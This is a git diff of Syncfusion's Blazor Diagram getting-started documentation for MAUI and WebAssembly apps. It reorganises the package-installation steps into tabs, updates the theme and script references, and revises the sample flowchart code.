-Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Step 2: How to Install Diagram NuGet Package in Blazor MAUI App
-
-To add the **Blazor Diagram**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Diagram -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
-## Step 3: Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Diagram` namespace.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor 
-@using Syncfusion.Blazor.Diagram
-
-{% endhighlight %}
-{% endtabs %}
-
-
-## Step 4: How to Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
-
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
+{% endtabcontent %}
 
-{% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="3 20" %}
+{% tabcontent Visual Studio Code %}
 
-using Microsoft.Extensions.Logging;
-using MauiBlazorWindow.Data;
-using Syncfusion.Blazor;
+## Prerequisites
 
-namespace MauiBlazorWindow;
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio Code. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
 
-    public static class MauiProgram
-    {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
+## Create a new Blazor MAUI App in Visual Studio Code
 
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-    		builder.Logging.AddDebug();
-#endif
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-            return builder.Build();
-        }
-    }
+{% endtabcontent %}
 
-{% endhighlight %}
-{% endtabs %}
+{% endtabcontents %}
 
-## Step 5: How to Add Stylesheet and Script Resources
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Add the following stylesheet and script to the head section of the **~/wwwroot/index.html** file.
+{% tabcontents %}
 
-If using Syncfusion.Blazor && Syncfusion.Blazor.Themes NuGet package in your application, refer to the following script.
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
-```
-If using Syncfusion.Blazor.Diagram && Syncfusion.Blazor.Themes NuGet package in your application, refer to the following script.
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
-```
+{% tabcontent Visual Studio %}
 
-## Step 6: How to Add the Diagram Component
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution → Select the package -> Install*).
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Diagram component in the **~/Pages/Index.razor** file.
+Alternatively, run the following commands in the Package Manager Console(*Tools → NuGet Package Manager → Package Manager Console*) to achieve the same.
 
 {% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-@using Syncfusion.Blazor.Diagram
-
-<SfDiagramComponent @ref="@diagram" Connectors="@connectors" Height="700px" Nodes="@nodes" />
-
-@code
-{
-    SfDiagramComponent diagram;
-    int connectorCount = 0;
-    //Defines Diagram's nodes collection.
-    DiagramObjectCollection<Node> nodes = new DiagramObjectCollection<Node>();
-    //Defines Diagram's connectors collection.
-    DiagramObjectCollection<Connector> connectors = new DiagramObjectCollection<Connector>();
-
-    protected override void OnInitialized()
-    {
-        InitDiagramModel();
-    }
-
-    private void InitDiagramModel()
-    {
-        CreateNode("Start", 300, 50, NodeFlowShapes.Terminator, "Start");
-        CreateNode("Init", 300, 140, NodeFlowShapes.Process, "var i = 0");
-        CreateNode("Condition", 300, 230, NodeFlowShapes.Decision, "i < 10?");
-        CreateNode("Print", 300, 320, NodeFlowShapes.PreDefinedProcess, "print(\'Hello!!\');");
-        CreateNode("Increment", 300, 410, NodeFlowShapes.Process, "i++;");
-        CreateNode("End", 300, 500, NodeFlowShapes.Terminator, "End");
-        // Creates orthogonal connector.
-        OrthogonalSegment segment1 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Direction = Direction.Right,
-            Length = 30,
-        };
-        OrthogonalSegment segment2 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 300,
-            Direction = Direction.Bottom,
-        };
-        OrthogonalSegment segment3 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 30,
-            Direction = Direction.Left,
-        };
-        OrthogonalSegment segment4 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 200,
-            Direction = Direction.Top,
-        };
-        CreateConnector("Start", "Init");
-        CreateConnector("Init", "Condition");
-        CreateConnector("Condition", "Print");
-        CreateConnector("Condition", "End", "Yes", segment1, segment2);
-        CreateConnector("Print", "Increment", "No");
-        CreateConnector("Increment", "Condition", null, segment3, segment4);
-    }
-
-    // Method to create connector.
-    private void CreateConnector(string sourceId, string targetId, string label = default(string), OrthogonalSegment segment1 = null, OrthogonalSegment segment2 = null)
-    {
-        Connector diagramConnector = new Connector()
-        {
-            // Represents the unique id of the connector.
-            ID = string.Format("connector{0}", ++connectorCount),
-            SourceID = sourceId,
-            TargetID = targetId,
-        };
-        if (label != default(string))
-        {
-            // Represents the annotation of the connector.
-            PathAnnotation annotation = new PathAnnotation()
-            {
-                Content = label,
-                Style = new TextStyle() { Fill = "white" }
-            };
-            diagramConnector.Annotations = new DiagramObjectCollection<PathAnnotation>() { annotation };
-        }
-        if (segment1 != null)
-        {
-            // Represents the segment type of the connector.
-            diagramConnector.Type = ConnectorSegmentType.Orthogonal;
-            diagramConnector.Segments = new DiagramObjectCollection<ConnectorSegment> { segment1, segment2 };
-        }
-        connectors.Add(diagramConnector);
-    }
+{% highlight C# tabtitle="Package Manager" %}
 
-    // Method to create node.
-    private void CreateNode(string id, double x, double y, NodeFlowShapes shape, string label)
-    {
-        Node diagramNode = new Node()
-        {
-            //Represents the unique id of the node.
-            ID = id,
-            // Defines the position of the node.
-            OffsetX = x,
-            OffsetY = y,
-            // Defines the size of the node.
-            Width = 145,
-            Height = 60,
-            // Defines the style of the node.
-            Style = new ShapeStyle { Fill = "#357BD2", StrokeColor = "White" },
-            // Defines the shape of the node.
-            Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = shape },
-            // Defines the annotation collection of the node.
-            Annotations = new DiagramObjectCollection<ShapeAnnotation>
-            {
-                new ShapeAnnotation
-                {
-                    Content = label,
-                    Style = new TextStyle()
-                    {
-                        Color="White",
-                        Fill = "transparent"
-                    }
-                }
-            }
-        };
-        nodes.Add(diagramNode);
-    }
-}
+Install-Package Syncfusion.Blazor.Diagram -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DiagramComponent).
-
-## How to Run the Sample on Windows
-
-Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
-
-![Run Windows machine](images/blazor-diagram-maui.png)
-
-When the application is successfully launched, the Diagram component will seamlessly render the specified diagram page.
-
-![Run Windows machine](images/blazor-diagram-maui-page.png)
-
-## How to Run the Sample on Android
-
-To run the Blazor DiagramComponent in a Blazor Android MAUI application using the Android emulator, follow these steps:
-
-![Run Windows machine](images/blazor-diagram-maui-android.png)
-
-Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
-
-N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
-
-![Blazor Diagram Component](images/blazor-diagram-maui-andoid-page.png)
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
 
-## Prerequisites
-
-To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio Code. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
-
-## Step 1: How to Create a New Blazor MAUI App Using Visual Studio Code
-
-A Blazor MAUI application can be created using the **.NET CLI** commands in **Visual Studio Code**.
-
-1. Install the latest **.NET SDK** that supports .NET MAUI.
-2. Open **Visual Studio Code**.
-3. Press **Ctrl + `** to open the integrated terminal.
-4. Run the following command to create a new Blazor MAUI App:
-
-{% tabs %}
-{% highlight c# tabtitle="Blazor MAUI App" %}
-
-dotnet new maui-blazor -o MauiBlazorApp
-cd MauiBlazorApp
-
-{% endhighlight %}
-{% endtabs %}
-
-> For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Step 2: How to Install Diagram NuGet Packages in a Blazor MAUI App
-
-To integrate the **Blazor Diagram** component in the app, install the required Syncfusion<sup style="font-size:70%">&reg;</sup> NuGet packages using the **integrated terminal**:
-
-1. Press **Ctrl + `** to open the integrated terminal in Visual Studio Code.
-2. Navigate to the directory containing the **.csproj** file.
-3. Run the following commands to install the packages:
-    * [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) 
-    * [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-    
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Diagram -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the C# package management(*Right click the ".csproj" file, -> C# package management -> Add nuget package -> Select nuget package and version*)
 
-{% endhighlight %}
-
-{% endtabs %}
+{% endtabcontent %}
+{% endtabcontents %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Step 3: Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Diagram` namespace.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Diagram` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -338,78 +84,58 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Step 4: How to Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-* Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="3 20 28" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
-using MauiBlazorWindow.Data;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-    		builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-## Step 5: How to Add Stylesheet and Script Resources
+## Add stylesheet and script resources
 
-Add the following stylesheet and script to the head section of the **~/wwwroot/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
-If using Syncfusion.Blazor && Syncfusion.Blazor.Themes NuGet package in your application, refer to the following script.
 ```html
+
 <head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+    ...
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
 </head>
-```
-If using `Syncfusion.Blazor.Diagram` && `Syncfusion.Blazor.Themes` NuGet package in your application, refer to the following script.
-```html
-<head>
+<body>
     ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
-```
+</body>
 
-## Step 6: How to Add the Diagram Component
+```
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Diagram component in the **~/Pages/Index.razor** file.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-{% tabs %}
-{% highlight razor %}
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component
 
-@page "/"
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Diagram component in the **~/Pages/Home.razor** file.
 
-@using Syncfusion.Blazor.Diagram
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
-<SfDiagramComponent @ref="@diagram" Connectors="@connectors" Height="700px" Nodes="@nodes" />
+<SfDiagramComponent Connectors="@connectors" Height="700px" Nodes="@nodes" />
 
 @code
 {
@@ -533,13 +259,11 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Diagram component in th
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLyCjDPUkdgrQsk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> [View the Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DiagramComponent/NET10/DiagramComponent_MAUIApp).
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DiagramComponent).
 
-## How to Run the Sample on Windows
+## How to run the sample on Windows
 
-Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
+Run the sample in **Windows Machine** mode, and it will run Blazor MAUI in Windows.
 
 ![Run Windows machine](images/blazor-diagram-maui.png)
 
@@ -547,22 +271,18 @@ When the application is successfully launched, the Diagram component will seamle
 
 ![Run Windows machine](images/blazor-diagram-maui-page.png)
 
-## How to Run the Sample on Android
+## How to run the sample on Android
 
-To run the Blazor Diagram Component in a Blazor Android MAUI application using the Android emulator, follow these steps:
+To run the Blazor Diagram component in a Blazor Android MAUI application using the **Android Emulator**, follow these steps:
 
 ![Run Windows machine](images/blazor-diagram-maui-android.png)
 
 Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
 ![Blazor Diagram Component](images/blazor-diagram-maui-andoid-page.png)
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
 ## See also
 
 * [How to Create a Diagram Builder in MAUI platform](https://support.syncfusion.com/kb/article/11346/how-to-create-diagram-builder-in-maui-platform)
diff --git a/blazor/diagram/getting-started-with-wasm-app.md b/blazor/diagram/getting-started-with-wasm-app.md
index c4c1607c22..9bc34b04e1 100644
--- a/blazor/diagram/getting-started-with-wasm-app.md
+++ b/blazor/diagram/getting-started-with-wasm-app.md
@@ -23,7 +23,7 @@ This section explains the step-by-step process for integrating the [Syncfusion<s
 
 ## Create a new Blazor App in Visual Studio
 
-Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
+Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WebAssembly Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
 {% endtabcontent %}
 
@@ -35,20 +35,7 @@ Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates
 
 ## Create a new Blazor App in Visual Studio Code
 
-Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
-
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
-
-{% tabs %}
-
-{% highlight c# tabtitle="Blazor WASM App" %}
-
-dotnet new blazorwasm -o BlazorApp
-cd BlazorApp
-
-{% endhighlight %}
-
-{% endtabs %}
+Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WebAssembly Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
 {% endtabcontent %}
 
@@ -79,15 +66,21 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
+This command creates a new Blazor WebAssembly App and places it in a new directory called `BlazorApp` inside your current location.
+
 {% endtabcontent %}
 
 {% endtabcontents %}
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution → Select the package -> Install*).
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Alternatively, run the following commands in the Package Manager Console(*Tools → NuGet Package Manager → Package Manager Console*) to achieve the same.
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -98,6 +91,30 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the C# package management(*Right click the ".csproj" file, -> C# package management -> Add nuget package -> Select nuget package and version*)
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the .NET CLI command.
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Diagram --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+{% endtabcontents %}
+
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
@@ -105,10 +122,10 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Diagram` namespaces.
 
 {% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Diagram
+@using Syncfusion.Blazor;
+@using Syncfusion.Blazor.Diagram;
 
 {% endhighlight %}
 {% endtabs %}
@@ -123,6 +140,7 @@ Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in
 ....
 using Syncfusion.Blazor;
 ....
+var builder = WebApplication.CreateBuilder(args);
 builder.Services.AddSyncfusionBlazor();
 ....
 
@@ -131,261 +149,143 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~wwwroot/index.html** file.
 
 ```html
-
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
+<head>
+    ...
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+</head>
+<body>
+    ....
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
 ```
 
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the **~/Pages/Index.razor** file.
+Add the DiagramComponent to create an empty diagram.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
 <SfDiagramComponent Width="100%" Height="600px"/>
 
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the default web browser.
+## Create your first Diagram with nodes and connectors
 
-## Basic Blazor Diagram elements
+This section explains how to create a simple flowchart by adding nodes, customizing their appearance, and connecting them using connectors.
 
-* Node: Visualize any graphical object using nodes, which can be arranged and manipulated at the same time on a Blazor diagram page.
-* Connector: Represents the relationship between two nodes. Three types of connectors provided as follows:
- 1) Orthogonal
- 2) Bezier
- 3) Straight
-* Port: Acts as the connection points of node or connector and allows you to create connections with only specific points.
-* Annotation: Additional information can be shown by adding text or labels on nodes and connectors.
-
-## Create Blazor Flowchart Diagram
-
-Create and add a [Node](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html) with specific position, size, label, and shape. Connect two or more nodes by using a [Connector](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html).
+The following example creates a flowchart with four nodes: **Start**, **Process**, **Decision**, and **End**. It also applies common node and connector settings using the `NodeCreating` and `ConnectorCreating` properties.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Diagram
+{% highlight razor tabtitle="Home.razor" %}
 
-<SfDiagramComponent @ref="@diagram" Connectors="@connectors" Height="700px" Nodes="@nodes" />
+<SfDiagramComponent Width="100%" Height="600px" Nodes="@nodes" Connectors="@connectors" NodeCreating="@NodeCreating" ConnectorCreating="@ConnectorCreating" />
 
-@code
-{
-    SfDiagramComponent diagram;
-    int connectorCount = 0;
-    //Defines Diagram's nodes collection.
+@code {
     DiagramObjectCollection<Node> nodes = new DiagramObjectCollection<Node>();
-    //Defines Diagram's connectors collection.
     DiagramObjectCollection<Connector> connectors = new DiagramObjectCollection<Connector>();
-
     protected override void OnInitialized()
     {
-        InitDiagramModel();
-    }
-
-    private void InitDiagramModel()
-    {
-        CreateNode("Start", 300, 50, NodeFlowShapes.Terminator, "Start");
-        CreateNode("Init", 300, 140, NodeFlowShapes.Process, "var i = 0");
-        CreateNode("Condition", 300, 230, NodeFlowShapes.Decision, "i < 10?");
-        CreateNode("Print", 300, 320, NodeFlowShapes.PreDefinedProcess, "print(\'Hello!!\');");
